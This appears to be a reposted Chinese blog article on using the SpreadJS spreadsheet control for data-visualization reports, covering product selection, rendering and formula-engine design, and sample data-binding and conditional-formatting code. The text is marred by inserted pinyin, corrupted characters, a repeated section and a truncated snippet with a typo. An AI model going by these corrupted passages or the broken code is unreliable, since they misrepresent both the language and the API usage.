數據可視化探索之 SpreadJS
網(wǎng)站優(yōu)化 ? 優(yōu)采云 發(fā)表了文章 ? 0 個(gè)評論 ? 146 次瀏覽 ? 2022-06-20 19:31
本文首發(fā)于政采云前端團隊博客:數據可視化探索之 SpreadJS
一、前言
數據可視化包含三個(gè)分支:科學(xué)可視化、信息可視化、可視分析。
1、科學(xué)可視化主要關(guān)注的是三維現象的可視化,如建筑學(xué)、氣象學(xué)、醫學(xué)或生物學(xué)方面的各種系統。重點(diǎn)在于對體、面以及光源等等的逼真渲染,或許甚至還包括某種動(dòng)態(tài)成分。
2、信息可視化是一種將數據與設計結合起來(lái)的圖片,有利于個(gè)人或組織簡(jiǎn)短有效地向受眾傳播信息的數據表現形式。
3、可視分析學(xué)被定義為由可視交互界面為基礎的分析推理科學(xué),將圖形學(xué)、數據挖掘、人機交互等技術(shù)融合在一起,形成人腦智能和機器智能優(yōu)勢互補和相互提升。
可視化分析中可視化報表是重中之重,把大量的數據快速的展示出來(lái),并且靈活的進(jìn)行數據操作,其中操作包括數據的篩選、關(guān)聯(lián)、聯(lián)動(dòng)、鉆取,文案的查詢(xún),替換、樣式設置,條件格式的注入實(shí)現多色階、圖標集、數據條、重復值,以及公式的插入,跨表聯(lián)動(dòng)等。SpreadJS 在解決可視化分析報表中最為突出,下面我們只針對可視化分析中 SpreadJS 所扮演色做探討。
二、報表可視化難點(diǎn)
互聯(lián)網(wǎng)電商服務(wù)業(yè)行業(yè),平時(shí)會(huì )處理大量商業(yè)信息和用戶(hù)信息,客服和數據分析師,是報表主要用戶(hù)人員。
客服平時(shí)每天都會(huì )處理大量的工單填報、客訴登記、第三方平臺原始數據的導入、統計匯總、審核審批、電簽、分發(fā)等工作。平時(shí)大部分工作信息的載體都是 Excel,每天服務(wù)器需要處理海量的文檔,由于 Excel 文檔本身數據難以提取入庫,模板更新時(shí)也不方便第一時(shí)間分發(fā)到操作員處,難以整合到 Web 頁(yè)面里等問(wèn)題。
數據分析師需要拿到數據進(jìn)行匯總,算出各個(gè)商品品牌的銷(xiāo)售額,最大值、最小值、平均值等,標識出有價(jià)值的數據。抓取有效數據,制作成報表給 boss。
針對以上的場(chǎng)景,報表可視化可以總結出以下幾個(gè)難點(diǎn):
1. 并發(fā)
公司客服人數眾多,幾千人同時(shí)在線(xiàn)重度操作,業(yè)務(wù)流轉周期短、數據量大,所以對服務(wù)端并發(fā)性能消耗是很大的??梢栽诤笈_用 Apache POI 來(lái)提取和修改 Excel 數據、并執行其中的公式計算等。這樣會(huì )遇到兩個(gè)性能瓶頸:
1)需要頻繁地上傳、下載文檔,服務(wù)器帶寬承受了很大的壓力;
2)所有 Excel 解析、提取的操作都在服務(wù)器端,頻繁的 IO 操作讓服務(wù)器不堪重負。
以上兩個(gè)性能點(diǎn),在目前的架構下很難突破,這也是重構項目時(shí)最具挑戰性的需求點(diǎn)之一。當然硬堆服務(wù)器配置也是一個(gè)解決方案,但無(wú)法解決其它的一些問(wèn)題,并且也會(huì )帶來(lái)運維的壓力。
2. 對 Excel 操作和兼容性要求較高
新系統如果不能讓大家快速上手使用,以這個(gè)項目用戶(hù)的體量,培訓成本將無(wú)法承受。而且要能夠直接導入已有的 Excel 報表模板,否則再次開(kāi)發(fā)或設計所有 Excel 報表也是難以接受的。
3. 報表格式靈活多變
針對不同的業(yè)務(wù)場(chǎng)景,報表的模版也是千變萬(wàn)化。因此不需要研發(fā)的介入,操作員的設計和填報都可以在頁(yè)面上完成顯得尤為重要。
4. 支持公式計算
由于涉及到商品、訂單、成本核算、財務(wù)統計等模塊,對計算公式的種類(lèi)和性能要求較高。
5. 工作流中的數據文檔
以前系統的工作流,涉及到 Excel 報表時(shí),要么數據會(huì )先在服務(wù)端和 Excel 模板進(jìn)行拼裝,要么系統根據路徑找到文件服務(wù)器的 Excel 文件,然后流轉到對應環(huán)節。一些新的業(yè)務(wù)模塊,甚至還只能用郵件進(jìn)行文件傳輸。
這個(gè)過(guò)程會(huì )產(chǎn)生大量的文件,對文件服務(wù)器的帶來(lái)了很大壓力,后臺也不得不定期做批量的數據拆分和維護。這次升級系統需要解決這個(gè)問(wèn)題。
三、思考如何選型
首先,選型的第一步就是搞清楚市面上具體有哪些產(chǎn)品供我們選擇,對于目前市面上能集成到系統中,支持這種在線(xiàn)表格文檔編輯的產(chǎn)品有不少,大體我把他們分了兩類(lèi)。
1. 云文檔類(lèi)型產(chǎn)品
這種產(chǎn)品有很多,類(lèi)似 WPS、石墨文檔、Office Online。它們本身具備較高的完成度,已經(jīng)幫用戶(hù)實(shí)現了包括在線(xiàn)協(xié)同內的幾乎所有功能,甚至也支持一定程度的二次開(kāi)發(fā)而且可以私有化部署。但問(wèn)題在于通常這類(lèi)產(chǎn)品封閉性比較強,二次定制開(kāi)發(fā)還是相對比較困難,且不夠輕量。授權方式也多以按時(shí)間、按并發(fā)量、用戶(hù)數量等方式授權,價(jià)格昂貴,不是很適合我們的需要。
2. 控件類(lèi)型產(chǎn)品
像 LuckySheet、Handsontable、SpreadJS 這種就是標準的控件了,它們都是純前端表格控件,都支持 Excel 的功能特性和 json 數據綁定。
LuckySheet () 是國內的MIT開(kāi)源軟件,可以拿來(lái)商用。但在我調研時(shí)它才剛上線(xiàn) 1、2 個(gè)月,并且不像 React 這種有某個(gè)大廠(chǎng)來(lái)背書(shū),所以不可能拿來(lái)用到我們的正式項目里。截止目前已經(jīng)過(guò)去了 1 年,陸續推出了 群、論壇等交流平臺,但仍顯薄弱。
Handsontable () 是國外的一個(gè)商業(yè)表格控件,據說(shuō)二次開(kāi)發(fā)坑較多,但對我們來(lái)說(shuō)最大的問(wèn)題是它沒(méi)有中文支持團隊。
SpreadJS () 是葡萄城公司的商業(yè)Excel表格控件,有趣的是我發(fā)現在 V2EX 的 LuckySheet 下方評論區中,LuckySheet 的作者也說(shuō) SpreadJS 是行業(yè)標桿。它支持導入包括公式、圖表、樣式、條件格式在內的絕大部分 Excel 特性(不支持宏)。并且最驚喜的是,它的操作界面是一個(gè)完整的 Excel 界面,完全純 JS 開(kāi)發(fā)的,用 json 進(jìn)行模板和數據交互。同時(shí) SpreadJS 也有對應的售后支持團隊,技術(shù)問(wèn)題可以工作日期間隨時(shí)電話(huà)、論壇交流,相關(guān)的資料包括視頻、文檔、示例、API 手冊也都非常豐富,甚至還可以請他們的技術(shù)顧問(wèn)來(lái)公司培訓。對于像我們這種工期短、開(kāi)發(fā)任務(wù)比較繁重的項目組,確實(shí)能節約大量的精力,降低了風(fēng)險。
圖片來(lái)源:SpreadJS 在線(xiàn) Excel 編輯器 ()
那么什么是控件?為什么要用控件?
“
引用維基百科: (%E6%8E%A7%E4%BB%B6?fileGuid=QKgTJRrrCD96PXwh)在計算機編程當中,控件(或部件,widget或control)是一種 圖形用戶(hù)界面 元素,其顯示的信息排列可由用戶(hù)改變,例如 視窗 或 文本框??丶x的特點(diǎn)是為給定數據的直接操作(direct manipulation)提供單獨的互動(dòng)點(diǎn)??丶且环N基本的可視構件塊,包含在應用程序中,控制著(zhù)該程序處理的所有數據以及關(guān)于這些數據的交互操作。
按照我自己理解,控件就是只提供了基本功能,支持二次開(kāi)發(fā)的功能模塊??丶鄬σ蕾?lài)更輕,可塑性更好,并且也有對應的開(kāi)發(fā)文檔和 API,是面向開(kāi)發(fā)者的基礎功能包,便于按需求來(lái)定制功能。
四、SpreadJS 需求解決方案和優(yōu)勢1. 并發(fā)
由于 SpreadJS 是數據和模板分離的設計,填報人員只需要在頁(yè)面上完成填報。提交時(shí)可以只提交填報好的數據 json 即可,服務(wù)器再也不用集中解析所有Excel 文件了。帶寬消耗也直接節約了一半。
2. 對 Excel 操作和兼容性要求較高
在內部試用時(shí),財務(wù)和客服的小姐姐們反饋,使用體驗跟 Excel 幾乎完全一樣,不需要再特意培訓。而且我們自己的大量 Excel 報表可以直接導入進(jìn)去(二次開(kāi)發(fā)后也可以實(shí)現批量和遠程導入),包括圖表、公式、表格樣式等等一系列元素都可以直接導入線(xiàn)上操作。
3. 報表格式靈活多變
設計人員可以直接在線(xiàn)設計,或者把 Excel 設計好的報表,拿到 Web 端,做好數據綁定,提交保存成 json 格式即可(Spread JS 的 ssjson 格式包括 Excel 文檔的所有信息)
4. 支持公式計算
支持了 450 多種( Excel 一共 480 多種)公式,還可以自己開(kāi)發(fā)擴展自定義公式,對財務(wù)也夠用了。同時(shí)還支持所有 Excel 的引用操作,比如跨 sheet 引用、絕對引用、函數命名信息之類(lèi)。
5. 工作流中的數據文檔
基本脫離了對文件的依賴(lài),所有流程狀態(tài)和依賴(lài)的數據都可以在數據庫中記錄,文件服務(wù)器只需要保存少量的模板文檔即可(其實(shí)模板數量不大時(shí)可以直接放到數據庫里,不過(guò)我們有現成的文件服務(wù)器)。這里節約了我們 90% 文件服務(wù)器的空間開(kāi)銷(xiāo),運維的小伙伴半夜都要笑醒。
五、深入SpreadJS
重點(diǎn)來(lái)了,其實(shí)最讓我這個(gè)前端開(kāi)發(fā)者感興趣的就是 SpreadJS 的一些底層設計、以及對內存、性能平衡性的優(yōu)化。對此我做了很多調研和學(xué)習,好在這方面資料不難找,常??梢栽谄咸殉枪俜秸搲墓_(kāi)課版塊()遇到一些相關(guān)的技術(shù)分享。下邊是自己了解學(xué)習到的內容,做個(gè)簡(jiǎn)單總結:
1. 渲染性能
性能肯定是每個(gè)深度表格控件用戶(hù)最擔心的問(wèn)題。我們的數據量常常達到好幾千條,而且 Excel 不方便分頁(yè)(涉及前端的公式計算匯總),所以選型期間很擔心。后來(lái)發(fā)現想多了,SpreadJS 可以輕松加載 50 萬(wàn)條數據加載耗時(shí) 200 ms左右(官網(wǎng)性能演示示例()只能加載 5 萬(wàn),我們自己扒下來(lái)測的 50 萬(wàn))。后來(lái)深入了解才知道,解決這個(gè)問(wèn)題,他們的思路是這樣的:
用 Canvas 渲染表格部分,并且只渲染用戶(hù)看到的部分內容,這就實(shí)現了加載 1000 行和加載 100000 行數據速度都很快,性能相差不大的現象。
而 Double buffering 是為了解決連續渲染的連續性體驗問(wèn)題,也可以進(jìn)一步提升渲染速度。這個(gè)名詞估計聽(tīng)過(guò)的人少,但應該人人都體驗過(guò),Double buffering 在圖形學(xué)里,一般稱(chēng)作雙緩沖,實(shí)際上的繪圖指令是在一個(gè)緩沖區完成,這里的繪圖非常的快,在繪圖指令完成之后,再通過(guò)交換指令把完成的圖形立即顯示在屏幕上,這就避免了出現繪圖的不完整,同時(shí)效率很高。在游戲里其實(shí)很常見(jiàn),當我們主控的人物在地圖上奔跑時(shí),游戲引擎會(huì )按照人物移動(dòng)方向實(shí)時(shí)加載和渲染地圖,這就避免了一次性加載超大地圖時(shí)那漫長(cháng)的等待。
圖片來(lái)源:葡萄城公開(kāi)課【SpreadJS性能優(yōu)化】()
SpreadJS 對表格數據的存儲優(yōu)化采用了稀疏數組的數據結構。稀疏數組常用來(lái)優(yōu)化二維數組(比如棋盤(pán)、地圖等場(chǎng)景)的內存占用,但它有個(gè)天生的缺陷,就是訪(fǎng)問(wèn)性能慢。
所以當時(shí)針對這個(gè)疑問(wèn),我給它做了壓力測試,百萬(wàn)級別的遍歷耗時(shí) 200 多ms。性能可以滿(mǎn)足我們的需求。
2. 計算引擎
據官方介紹來(lái)看,公式引擎其實(shí)是包含了兩大實(shí)現的部分,一個(gè)是計算邏輯系統、一個(gè)是引用系統。
Excel 中公式的計算都是依賴(lài)于某些原始數據的,比如 C1 引用 B1、B1 又引用 A1等等, SpreadJS 把這部分功能封裝的已經(jīng)非常原生化了,根本不需要開(kāi)發(fā)者操心(除非有引用回溯等特殊需求)。
Excel 中有直接引用、跨 Sheet 表單引用、相對/絕對引用、命名信息的引用、 table 行列公式的引用、跨工作簿引用等等(沒(méi)列舉完,感興趣的同學(xué)可以自行搜索學(xué)習)。SpreadJS 的 runtime 是在網(wǎng)頁(yè)端,因此跨 Workbook 引用就別想了,至少目前肯定沒(méi)支持。
SUM、IF、MATCH、VLOOKUP 這種能輸入到單元格里的計算公式,用起來(lái)就像是一個(gè)個(gè)的小“邏輯包”,目前 SpreadJS 有 460+ 種原生的公式函數,而 Excel 只有 490+ 種,并且 SpreadJS 能自定制公式,使用體驗與原生公式一樣。
對于底層實(shí)現,實(shí)際上經(jīng)過(guò)多個(gè)版本的迭代,這些公式早已不是一個(gè)個(gè)獨立的“邏輯孤島”了。公式的實(shí)現在底層有大量的抽象和復用,據說(shuō)新版本在性能提升的同時(shí),代碼量比老版本有明顯精簡(jiǎn),這對前端工程打包也是比較友好的。
對于嵌套公式計算的實(shí)現,SpreadJS 在底層建立起了 AST 樹(shù)來(lái)解析用戶(hù)設置公式的計算邏輯,從官方示例的代碼來(lái)看,公式底層建立了一套 Expression,并且有對應的 public 接口可供調用,如圖:
圖片來(lái)源:【SpreadJS公式結構樹(shù)形展示】()
首先,作為一個(gè)前端技術(shù),咱們可以先從公式計算的技術(shù)要求上來(lái)分析性能可能出現的瓶頸以及造成的影響。我們在開(kāi)發(fā)時(shí)用到了大量的用戶(hù)事件、臟數據、聯(lián)動(dòng)等功能,所有這些功能確保正確運行的一個(gè)重要前提,就是必須能確保隨時(shí)可以拿到正確的計算結果,那么最直接的實(shí)現思路就是讓公式以高優(yōu)先級、同步的方式來(lái)執行完計算。
大家都知道,多線(xiàn)程可以幫助分擔計算壓力,但是先拋開(kāi)設計和實(shí)現難度不說(shuō),即便支持了 Web Worker,JavaScript 嚴格來(lái)說(shuō)也只能算是一個(gè)單線(xiàn)程語(yǔ)言,因為它的 Web Worker 子線(xiàn)程完全受主線(xiàn)程控制,并且主線(xiàn)程無(wú)法被阻塞掛起。所以即使引入了 Web Worker,也無(wú)法確保上邊提到的同步執行。
經(jīng)過(guò)以上分析,可以看出公式計算性能的局限性,取決于 JavaScript 的計算能力。我找了一張相關(guān)的圖片,可以直觀(guān)反映 Node.js 的計算能力(Node.js 是 V8 引擎,公認最快的 JS 引擎)
圖片引用自《深入淺出 Node.js》
而 SpreadJS 官方給出了一組公式的計算數據,參考如下:
據我們測試,以上計算性能接近原生JS的計算性能,SpreadJS 在這方面的優(yōu)化已經(jīng)十分接近物理極限了。目前在我們的應用場(chǎng)景中,這個(gè)計算性能已經(jīng)足夠使用,但不排除以后會(huì )出現海量的數據和公式的計算需求,而在這方面官方也給出了相關(guān)解決方案,參考這里 ()。
據說(shuō),官方還在進(jìn)一步開(kāi)發(fā)緩存技術(shù),來(lái)實(shí)現公式計算的分塊緩存:即使引用鏈上有值發(fā)生變化,也不需要計算整個(gè)引用鏈的公式。聽(tīng)起來(lái)很強大,思路也靠譜,但愿早點(diǎn)推出。
3. 樣式系統
Excel 的樣式系統非常復雜,邊框、字體、對齊、數據格式、條件格式等等每一個(gè)功能點(diǎn)都有非常靈活龐大的實(shí)現,剛開(kāi)始了解 SpreadJS 時(shí),我也被它的 Style 類(lèi)驚呆了,除了我能想象到的邊框、背景、字體、對齊等這些能“看得到”的,竟然也有單元格類(lèi)型、數據格式、表格按鈕、下拉、水印這類(lèi)東西。不由得感嘆 Style 太重了,如果定制大量的單元格樣式,內存和性能肯定都不好。不過(guò)實(shí)際應用中倒也沒(méi)發(fā)現瓶頸,原來(lái)這里采用了分層結構來(lái)設計,如圖:
圖片來(lái)源:葡萄城公開(kāi)課【SpreadJS性能優(yōu)化】
六、SpreadJS怎么用?1. 渲染表格
圖 6.1-1 綁定數據和公式
首先獲取全局 spread 對象,spread 是整個(gè)表格的主體,spread 又分成多個(gè) sheet。SpreadJS 初始化結束都會(huì )返回一個(gè) spread 對象。
?<br />??methods:{<br />?????spreadInitHandle:?function?(spread)?{<br />??????this.spread?=?sprea<br />????},<br />??}<br />
?tableDataBind()?{<br />????//?數據源,可以從后臺請求拿到<br />????var?dataSource?=?{<br />????????//?注意這里加了一層bindPath,用于映射表格的綁定路徑<br />????????bindPath_table:?[{<br />????????????c1:?100,<br />????????????c2:?90,<br />????????????c3:?30,<br />????????????c4:?40<br />????????},?{<br />????????????c1:?88,<br />????????????c2:?66,<br />????????????c3:?55,<br />????????????c4:100<br />????????},?{<br />????????????c1:?30,<br />????????????c2:?89,<br />????????????c3:?100,<br />????????????c4:?40<br />????????},{<br />????????????c1:?40,<br />????????????c2:?66,<br />????????????c3:?88,<br />????????????c4:?40<br />????????}]<br />????};<br />????//?表格綁定和單元格綁定數據源,需要用SpreadJS的CellBindingSource包裝一下<br />????var?spreadNS?=?GC.Spread.Sheets;<br />????var?dataSource1?=?new?spreadNS.Bindings.CellBindingSource(dataSource);<br />????var?table2?=?this.activeSheet.tables.add("tableName",?0,?0,?1,?5,?spreadNS.Tables.TableThemes.light6);<br />????table2.showFooter(true);<br />????table2.autoGenerateColumns(false);<br />????var?c1?=?new?spreadNS.Tables.TableColumn(1);<br />????c1.name("語(yǔ)文");<br />????c1.dataField("c1");<br />????var?c2?=?new?spreadNS.Tables.TableColumn(2);<br />????c2.name("數學(xué)");<br />????c2.dataField("c2");<br />????var?c3?=?new?spreadNS.Tables.TableColumn(3);<br />????c3.name("英語(yǔ)");<br />????c3.dataField("c3");<br />????var?c4?=?new?spreadNS.Tables.TableColumn(4);<br />????c4.name("化學(xué)");<br />????c4.dataField("c4");<br />????var?c5?=?new?spreadNS.Tables.TableColumn(5);<br />????c5.name("合計");<br />????table2.bindColumns([c1,?c2,?c3,?c4,?c5]);<br />????table2.bindingPath("bindPath_table");<br />????//?設置公式<br />????table2.setColumnDataFormula(4,?"=[@語(yǔ)文]+[@數學(xué)]+[@英語(yǔ)]+[@化學(xué)]");<br />????table2.setColumnFormula(4,?"=SUBTOTAL(109,[合計])");<br />????//?設置允許單元格的內容超出單元格,與綁定無(wú)關(guān)<br />????this.activeSheet.options.allowCellOverflow?=?true;<br />????//?綁定dataSource<br />????this.activeSheet.setDataSource(dataSource1);<br />????this.spread.resumePaint();<br />},<br />
圖 6.1-2函數名和函數碼映射表2. 渲染條件格式
渲染條件格式:數據渲染完成只能保證數據能正常顯示出來(lái),但是這還不能滿(mǎn)足數據分析師的需求,還要明顯展示有效數據譬如:最大值,最小值標紅,進(jìn)度條展示一個(gè)變化狀態(tài),圖標展示上升還是下降,雙色階,三色階,等,具體怎么實(shí)現?
<p>iconset()?{<br />????var?activeSheet?=?this.activeSheet;<br />????var?iconSetRule?=?new?GC.Spread.Sheets.ConditionalFormatting.IconSetRule();<br />????//?演示demo先寫(xiě)死區域<br />????iconSetRule.ranges([new?GC.Spread.Sheets.Range(0,0,?5,?5)]);<br />????// IconSetType圖標志的類(lèi)型:箭頭,圓圈和execl 打通的,excel有哪些這這邊就支持哪些<br />????iconSetRule.iconSetType(GC.Spread.Sheets.ConditionalFormatting.IconSetType.threeArrowsColored);<br />????var?iconCriteria?=?iconSetRule.iconCriteria();<br />????iconCriteria[0]?=?new?GC.Spread.Sheets.ConditionalFormatting.IconCriterion(<br />??????true,<br />??????GC.Spread.Sheets.ConditionalFormatting.IconValueType.number,?<br />??????60<br />????);//( 查看全部
數據可視化探索之 SpreadJS
本文首發(fā)于政采云前端團隊博客:數據可視化探索之 SpreadJS
一、前言
數據可視化包含三個(gè)分支:科學(xué)可視化、信息可視化、可視分析。
1、科學(xué)可視化主要關(guān)注的是三維現象的可視化,如建筑學(xué)、氣象學(xué)、醫學(xué)或生物學(xué)方面的各種系統。重點(diǎn)在于對體、面以及光源等等的逼真渲染,或許甚至還包括某種動(dòng)態(tài)成分。
2、信息可視化是一種將數據與設計結合起來(lái)的圖片,有利于個(gè)人或組織簡(jiǎn)短有效地向受眾傳播信息的數據表現形式。
3、可視分析學(xué)被定義為由可視交互界面為基礎的分析推理科學(xué),將圖形學(xué)、數據挖掘、人機交互等技術(shù)融合在一起,形成人腦智能和機器智能優(yōu)勢互補和相互提升。
可視化分析中可視化報表是重中之重,把大量的數據快速的展示出來(lái),并且靈活的進(jìn)行數據操作,其中操作包括數據的篩選、關(guān)聯(lián)、聯(lián)動(dòng)、鉆取,文案的查詢(xún),替換、樣式設置,條件格式的注入實(shí)現多色階、圖標集、數據條、重復值,以及公式的插入,跨表聯(lián)動(dòng)等。SpreadJS 在解決可視化分析報表中最為突出,下面我們只針對可視化分析中 SpreadJS 所扮演色做探討。
二、報表可視化難點(diǎn)
互聯(lián)網(wǎng)電商服務(wù)業(yè)行業(yè),平時(shí)會(huì )處理大量商業(yè)信息和用戶(hù)信息,客服和數據分析師,是報表主要用戶(hù)人員。
客服平時(shí)每天都會(huì )處理大量的工單填報、客訴登記、第三方平臺原始數據的導入、統計匯總、審核審批、電簽、分發(fā)等工作。平時(shí)大部分工作信息的載體都是 Excel,每天服務(wù)器需要處理海量的文檔,由于 Excel 文檔本身數據難以提取入庫,模板更新時(shí)也不方便第一時(shí)間分發(fā)到操作員處,難以整合到 Web 頁(yè)面里等問(wèn)題。
數據分析師需要拿到數據進(jìn)行匯總,算出各個(gè)商品品牌的銷(xiāo)售額,最大值、最小值、平均值等,標識出有價(jià)值的數據。抓取有效數據,制作成報表給 boss。
針對以上的場(chǎng)景,報表可視化可以總結出以下幾個(gè)難點(diǎn):
1. 并發(fā)
公司客服人數眾多,幾千人同時(shí)在線(xiàn)重度操作,業(yè)務(wù)流轉周期短、數據量大,所以對服務(wù)端并發(fā)性能消耗是很大的??梢栽诤笈_用 Apache POI 來(lái)提取和修改 Excel 數據、并執行其中的公式計算等。這樣會(huì )遇到兩個(gè)性能瓶頸:
1)需要頻繁地上傳、下載文檔,服務(wù)器帶寬承受了很大的壓力;
2)所有 Excel 解析、提取的操作都在服務(wù)器端,頻繁的 IO 操作讓服務(wù)器不堪重負。
以上兩個(gè)性能點(diǎn),在目前的架構下很難突破,這也是重構項目時(shí)最具挑戰性的需求點(diǎn)之一。當然硬堆服務(wù)器配置也是一個(gè)解決方案,但無(wú)法解決其它的一些問(wèn)題,并且也會(huì )帶來(lái)運維的壓力。
2. 對 Excel 操作和兼容性要求較高
新系統如果不能讓大家快速上手使用,以這個(gè)項目用戶(hù)的體量,培訓成本將無(wú)法承受。而且要能夠直接導入已有的 Excel 報表模板,否則再次開(kāi)發(fā)或設計所有 Excel 報表也是難以接受的。
3. 報表格式靈活多變
針對不同的業(yè)務(wù)場(chǎng)景,報表的模版也是千變萬(wàn)化。因此不需要研發(fā)的介入,操作員的設計和填報都可以在頁(yè)面上完成顯得尤為重要。
4. 支持公式計算
由于涉及到商品、訂單、成本核算、財務(wù)統計等模塊,對計算公式的種類(lèi)和性能要求較高。
5. 工作流中的數據文檔
以前系統的工作流,涉及到 Excel 報表時(shí),要么數據會(huì )先在服務(wù)端和 Excel 模板進(jìn)行拼裝,要么系統根據路徑找到文件服務(wù)器的 Excel 文件,然后流轉到對應環(huán)節。一些新的業(yè)務(wù)模塊,甚至還只能用郵件進(jìn)行文件傳輸。
這個(gè)過(guò)程會(huì )產(chǎn)生大量的文件,對文件服務(wù)器的帶來(lái)了很大壓力,后臺也不得不定期做批量的數據拆分和維護。這次升級系統需要解決這個(gè)問(wèn)題。
三、思考如何選型
首先,選型的第一步就是搞清楚市面上具體有哪些產(chǎn)品供我們選擇,對于目前市面上能集成到系統中,支持這種在線(xiàn)表格文檔編輯的產(chǎn)品有不少,大體我把他們分了兩類(lèi)。
1. 云文檔類(lèi)型產(chǎn)品
這種產(chǎn)品有很多,類(lèi)似 WPS、石墨文檔、Office Online。它們本身具備較高的完成度,已經(jīng)幫用戶(hù)實(shí)現了包括在線(xiàn)協(xié)同內的幾乎所有功能,甚至也支持一定程度的二次開(kāi)發(fā)而且可以私有化部署。但問(wèn)題在于通常這類(lèi)產(chǎn)品封閉性比較強,二次定制開(kāi)發(fā)還是相對比較困難,且不夠輕量。授權方式也多以按時(shí)間、按并發(fā)量、用戶(hù)數量等方式授權,價(jià)格昂貴,不是很適合我們的需要。
2. 控件類(lèi)型產(chǎn)品
像 LuckySheet、Handsontable、SpreadJS 這種就是標準的控件了,它們都是純前端表格控件,都支持 Excel 的功能特性和 json 數據綁定。
LuckySheet () 是國內的MIT開(kāi)源軟件,可以拿來(lái)商用。但在我調研時(shí)它才剛上線(xiàn) 1、2 個(gè)月,并且不像 React 這種有某個(gè)大廠(chǎng)來(lái)背書(shū),所以不可能拿來(lái)用到我們的正式項目里。截止目前已經(jīng)過(guò)去了 1 年,陸續推出了 群、論壇等交流平臺,但仍顯薄弱。
Handsontable () 是國外的一個(gè)商業(yè)表格控件,據說(shuō)二次開(kāi)發(fā)坑較多,但對我們來(lái)說(shuō)最大的問(wèn)題是它沒(méi)有中文支持團隊。
SpreadJS () 是葡萄城公司的商業(yè)Excel表格控件,有趣的是我發(fā)現在 V2EX 的 LuckySheet 下方評論區中,LuckySheet 的作者也說(shuō) SpreadJS 是行業(yè)標桿。它支持導入包括公式、圖表、樣式、條件格式在內的絕大部分 Excel 特性(不支持宏)。并且最驚喜的是,它的操作界面是一個(gè)完整的 Excel 界面,完全純 JS 開(kāi)發(fā)的,用 json 進(jìn)行模板和數據交互。同時(shí) SpreadJS 也有對應的售后支持團隊,技術(shù)問(wèn)題可以工作日期間隨時(shí)電話(huà)、論壇交流,相關(guān)的資料包括視頻、文檔、示例、API 手冊也都非常豐富,甚至還可以請他們的技術(shù)顧問(wèn)來(lái)公司培訓。對于像我們這種工期短、開(kāi)發(fā)任務(wù)比較繁重的項目組,確實(shí)能節約大量的精力,降低了風(fēng)險。
圖片來(lái)源:SpreadJS 在線(xiàn) Excel 編輯器 ()
那么什么是控件?為什么要用控件?
“
引用維基百科: (%E6%8E%A7%E4%BB%B6?fileGuid=QKgTJRrrCD96PXwh)在計算機編程當中,控件(或部件,widget或control)是一種 圖形用戶(hù)界面 元素,其顯示的信息排列可由用戶(hù)改變,例如 視窗 或 文本框??丶x的特點(diǎn)是為給定數據的直接操作(direct manipulation)提供單獨的互動(dòng)點(diǎn)??丶且环N基本的可視構件塊,包含在應用程序中,控制著(zhù)該程序處理的所有數據以及關(guān)于這些數據的交互操作。
按照我自己理解,控件就是只提供了基本功能,支持二次開(kāi)發(fā)的功能模塊??丶鄬σ蕾?lài)更輕,可塑性更好,并且也有對應的開(kāi)發(fā)文檔和 API,是面向開(kāi)發(fā)者的基礎功能包,便于按需求來(lái)定制功能。
四、SpreadJS 需求解決方案和優(yōu)勢1. 并發(fā)
由于 SpreadJS 是數據和模板分離的設計,填報人員只需要在頁(yè)面上完成填報。提交時(shí)可以只提交填報好的數據 json 即可,服務(wù)器再也不用集中解析所有Excel 文件了。帶寬消耗也直接節約了一半。
2. 對 Excel 操作和兼容性要求較高
在內部試用時(shí),財務(wù)和客服的小姐姐們反饋,使用體驗跟 Excel 幾乎完全一樣,不需要再特意培訓。而且我們自己的大量 Excel 報表可以直接導入進(jìn)去(二次開(kāi)發(fā)后也可以實(shí)現批量和遠程導入),包括圖表、公式、表格樣式等等一系列元素都可以直接導入線(xiàn)上操作。
3. 報表格式靈活多變
設計人員可以直接在線(xiàn)設計,或者把 Excel 設計好的報表,拿到 Web 端,做好數據綁定,提交保存成 json 格式即可(Spread JS 的 ssjson 格式包括 Excel 文檔的所有信息)
4. 支持公式計算
支持了 450 多種( Excel 一共 480 多種)公式,還可以自己開(kāi)發(fā)擴展自定義公式,對財務(wù)也夠用了。同時(shí)還支持所有 Excel 的引用操作,比如跨 sheet 引用、絕對引用、函數命名信息之類(lèi)。
5. 工作流中的數據文檔
基本脫離了對文件的依賴(lài),所有流程狀態(tài)和依賴(lài)的數據都可以在數據庫中記錄,文件服務(wù)器只需要保存少量的模板文檔即可(其實(shí)模板數量不大時(shí)可以直接放到數據庫里,不過(guò)我們有現成的文件服務(wù)器)。這里節約了我們 90% 文件服務(wù)器的空間開(kāi)銷(xiāo),運維的小伙伴半夜都要笑醒。
五、深入SpreadJS
重點(diǎn)來(lái)了,其實(shí)最讓我這個(gè)前端開(kāi)發(fā)者感興趣的就是 SpreadJS 的一些底層設計、以及對內存、性能平衡性的優(yōu)化。對此我做了很多調研和學(xué)習,好在這方面資料不難找,常??梢栽谄咸殉枪俜秸搲墓_(kāi)課版塊()遇到一些相關(guān)的技術(shù)分享。下邊是自己了解學(xué)習到的內容,做個(gè)簡(jiǎn)單總結:
1. 渲染性能
性能肯定是每個(gè)深度表格控件用戶(hù)最擔心的問(wèn)題。我們的數據量常常達到好幾千條,而且 Excel 不方便分頁(yè)(涉及前端的公式計算匯總),所以選型期間很擔心。后來(lái)發(fā)現想多了,SpreadJS 可以輕松加載 50 萬(wàn)條數據加載耗時(shí) 200 ms左右(官網(wǎng)性能演示示例()只能加載 5 萬(wàn),我們自己扒下來(lái)測的 50 萬(wàn))。后來(lái)深入了解才知道,解決這個(gè)問(wèn)題,他們的思路是這樣的:
用 Canvas 渲染表格部分,并且只渲染用戶(hù)看到的部分內容,這就實(shí)現了加載 1000 行和加載 100000 行數據速度都很快,性能相差不大的現象。
而 Double buffering 是為了解決連續渲染的連續性體驗問(wèn)題,也可以進(jìn)一步提升渲染速度。這個(gè)名詞估計聽(tīng)過(guò)的人少,但應該人人都體驗過(guò),Double buffering 在圖形學(xué)里,一般稱(chēng)作雙緩沖,實(shí)際上的繪圖指令是在一個(gè)緩沖區完成,這里的繪圖非常的快,在繪圖指令完成之后,再通過(guò)交換指令把完成的圖形立即顯示在屏幕上,這就避免了出現繪圖的不完整,同時(shí)效率很高。在游戲里其實(shí)很常見(jiàn),當我們主控的人物在地圖上奔跑時(shí),游戲引擎會(huì )按照人物移動(dòng)方向實(shí)時(shí)加載和渲染地圖,這就避免了一次性加載超大地圖時(shí)那漫長(cháng)的等待。
圖片來(lái)源:葡萄城公開(kāi)課【SpreadJS性能優(yōu)化】()
